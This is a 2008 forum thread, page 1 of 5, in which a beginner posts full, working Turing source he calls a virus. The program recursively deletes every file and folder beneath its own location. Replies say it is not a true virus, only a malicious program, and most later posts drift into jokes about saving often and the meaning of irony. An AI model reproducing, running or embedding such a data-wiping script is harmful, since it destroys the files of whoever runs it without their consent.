Programming C, C++, Java, PHP, Ruby, Turing, VB
Computer Science Canada 
Programming C, C++, Java, PHP, Ruby, Turing, VB  

Username:   Password: 
 RegisterRegister   
 Turing Virus
Index -> Programming, Turing -> Turing Submissions
Goto page 1, 2, 3, 4, 5  Next
View previous topic Printable versionDownload TopicRate TopicSubscribe to this topicPrivate MessagesRefresh page View next topic
Author Message
chopperdudes




PostPosted: Fri Jun 06, 2008 5:00 pm   Post subject: Turing Virus

well, for all of you that says you can't write a virus in turing, here it is.

still a noob to recursion, i wrote one using recursion that deletes every file/folder on levels lower than where the file is placed.
i did not go about trying to make it delete files/folders on levels above the file though. might be pretty hard for me to test it out Razz

code:

Turing:

setscreen ("text")
var WinID : int
WinID := Window.Open ("text")
var streamNumber : array 1 .. 100 of int    % assign 100 empty int var for the streamNumber
var fileName : array 1 .. 100 of string     % assign 100 empty string var for the fileName

% this does not mean that it can only delete 100 files
% since fileName (k) is replaced each time after file is deleted
% rather, the 100's here in these 2 arrays mean that you can delete
% 100 levels of folder in or lower than where this file is placed.

var k := 1      % initiate first streamNumber and fileName index

% please read from below the % line first

proc recursion
    Dir.Change (fileName (k))           % we now set that directory as our Dir.Current
    k += 1                              % we need to change both the streamNumber and the fileName var
    streamNumber (k) := Dir.Open (".")  % now we open the current directory
    assert streamNumber (k) > 0         % check for success
    for i : 1 .. 2
        fileName (k) := Dir.Get (streamNumber (k))      % the first 2 filenames will always be the current directory and the parent directory.
        exit when fileName (k) = ""                     % we cannot delete those yet
        put fileName (k)                               
    end for
    loop
        fileName (k) := Dir.Get (streamNumber (k))      % get the first file name from the new Dir.Current

        if fileName (k) = "" then           % if there are no more files then
            Dir.Close (streamNumber (k))    % close current directory
            put Dir.Current
            Dir.Delete (Dir.Current)        % delete current directory
            if Error.Last = eNoError then   % if success, proceed
                put " deleted"
            else                            % if not, print Error.LastMsg
                put " did not delete"
                put "Error: ", Error.LastMsg
            end if
            exit                            % exit
        end if                              % end if
       
        put fileName (k)
        File.Delete (fileName (k))          % delete the file
        if Error.Last = eNoError then       % if success, proceed
            put " deleted"
        else                                % if not, it means that it is yet another directory
            Dir.Delete (fileName (k))       % try deleting the directory
            if Error.Last = eNoError then   % if success, proceed
                put " deleted"
            else                            % if not, it means there are yet more files/folders in that directory
                recursion                   % repeat above steps
            end if
        end if
    end loop
    Dir.Change ("..")                       % if all files are deleted, change Dir.Current to the parent directory
    k -= 1                                  % change the streamNumber and the fileName var back to the parent folder
end recursion


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


streamNumber (k) := Dir.Open (".")      % open current directory
assert streamNumber (k) > 0             % check for success
for i : 1 .. 2                         
    fileName (k) := Dir.Get (streamNumber (k))  % the first 2 filenames will always be the current directory and the parent directory.
    exit when fileName (k) = ""                 % we cannot delete those yet
    put fileName (k)
end for

loop
    fileName (k) := Dir.Get (streamNumber (k))  % get the first file name
    exit when fileName (k) = ""         % exit if there are no more files
    put fileName (k)
    File.Delete (fileName (k))          % delete the file
    if Error.Last = eNoError then       % if the file is deleted, then proceed to next filename
        put " deleted"
    else                                % if the file is not deleted, it means it is a directory
        Dir.Delete (fileName (k))       % attempt to delete the directory
        if Error.Last = eNoError then   % if the directory is deleted, then proceed to next filename
            put " deleted"
        else                            % if it is not, then it means there are files within that directory

            recursion                   % see Proc recursion

        end if
    end if
end loop


[/code]
Sponsor
Sponsor
Sponsor
sponsor
Dan




PostPosted: Fri Jun 06, 2008 6:04 pm   Post subject: Re: Turing Virus

chopperdudes @ 6th June 2008, 5:00 pm wrote:
well, for all of you that says you can't write a virus in turing, here it is.


I do not know if any one has side that but what you have made is not a virus. A computer virus needs to infect other files so it may spread to other computers. What you have here is just a maulasices program.

Also most opearting systems will not let you delete system files with out any kind of authenetication or adminstator level user access. Addtional you can delete all the files in a simual way with a singal call to a system command and it would be ran in the background.

However for a beginger at turing it is not bad but you might want to try learning about the more beffical sides of programming then hurting peoleop :p
Computer Science Canada Help with programming in C, C++, Java, PHP, Ruby, Turing, VB and more!
r691175002




PostPosted: Fri Jun 06, 2008 6:18 pm   Post subject: Re: Turing Virus

As dan has said, this really isn't a virus. You can make a program that will delete folders recursively in almost any language (And even in things that aren't languages, you could probably make word do it with a script/macro).
chopperdudes




PostPosted: Fri Jun 06, 2008 6:31 pm   Post subject: Re: Turing Virus

hmm yeah true. just doing this for fun cuz i think i read it on here or somewhere that some guy made a similar code but deleted it when he accidentally ran it. so i was just doing this for fun.
Aziz




PostPosted: Sat Jun 07, 2008 1:08 am   Post subject: Re: Turing Virus

chopperdudes @ Fri Jun 06, 2008 7:31 pm wrote:
hmm yeah true. just doing this for fun cuz i think i read it on here or somewhere that some guy made a similar code but deleted it when he accidentally ran it. so i was just doing this for fun.


Oh yes, the world has it's ways of dealing with stupid people. Keep that in mind when you have an unsaved 300 line file and it's storming outside. No personal experience myself, but I've laughed at plenty of the poor bastards. I'm a CTRL+S Nazi.
TripleBla




PostPosted: Thu Jun 12, 2008 8:13 am   Post subject: RE:Turing Virus

"I'm a CTRL+S Nazi."

I am too,
Ironically, it's the safest choice.
Aziz




PostPosted: Thu Jun 12, 2008 8:43 am   Post subject: RE:Turing Virus

Why is that ironic? :/
SNIPERDUDE




PostPosted: Thu Jun 12, 2008 1:39 pm   Post subject: RE:Turing Virus

calling it a nazi would be pretty ironic.

Anywho I'm a CTRL + s 'nazi' too.
Sponsor
Sponsor
Sponsor
sponsor
Aziz




PostPosted: Thu Jun 12, 2008 1:55 pm   Post subject: RE:Turing Virus

Wtf is up with these weird uses of ironic?
Zampano




PostPosted: Thu Jun 12, 2008 3:02 pm   Post subject: Re: RE:Turing Virus

TripleBla @ Thu Jun 12, 2008 8:13 am wrote:
"I'm a CTRL+S Nazi."

I am too,
Ironically, it's the safest choice.

I suppose that the irony lies in the juxtaposition of the safety of saving often and the danger of being a Nazi (in a society like ours, where Nazis are unaccepted). Of course, that's stretching the bounds of irony.
Aziz




PostPosted: Thu Jun 12, 2008 3:46 pm   Post subject: RE:Turing Virus

Indeed it is. Irony is something that happens when it is opposite to the expected. I think it's taken on the other meaning officially, too though =/ http://en.wiktionary.org/wiki/irony
jeffgreco13




PostPosted: Fri Jun 13, 2008 8:31 am   Post subject: Re: Turing Virus

I blame it on Alanis Morissette and her song Ironic...

Quote:
And isn't it ironic...don't you think
Tony




PostPosted: Fri Jun 13, 2008 9:12 am   Post subject: RE:Turing Virus

I actually had a conversation about that just the other day. The irony of the song Ironic is that nothing mentioned in the song is actually ironic. Get it? Wink
Latest from compsci.ca/blog: Tony's programming blog. DWITE - a programming contest.
Dan




PostPosted: Fri Jun 13, 2008 9:13 am   Post subject: Re: Turing Virus

jeffgreco13 @ 13th June 2008, 8:31 am wrote:
I blame it on Alanis Morissette and her song Ironic...

Quote:
And isn't it ironic...don't you think


The only thing irony in that song is that it is a song called ironic where none of the examples in it invole irony at all.

Edit: dam your fast posting tony! *shakes fist*
Computer Science Canada Help with programming in C, C++, Java, PHP, Ruby, Turing, VB and more!
andrew.




PostPosted: Fri Jun 13, 2008 9:39 am   Post subject: Re: RE:Turing Virus

SNIPERDUDE @ Thu Jun 12, 2008 1:39 pm wrote:
calling it a nazi would be pretty ironic.

Anywho I'm a CTRL + s 'nazi' too.


Same here lol. I add a period at the end of my comment. CTRL+S. I add one line of code. CTRL+S.
Display posts from previous:   
   Index -> Programming, Turing -> Turing Submissions
View previous topic Tell A FriendPrintable versionDownload TopicRate TopicSubscribe to this topicPrivate MessagesRefresh page View next topic

Page 1 of 5  [ 63 Posts ]
Goto page 1, 2, 3, 4, 5  Next
Jump to:   


Style:  
Search: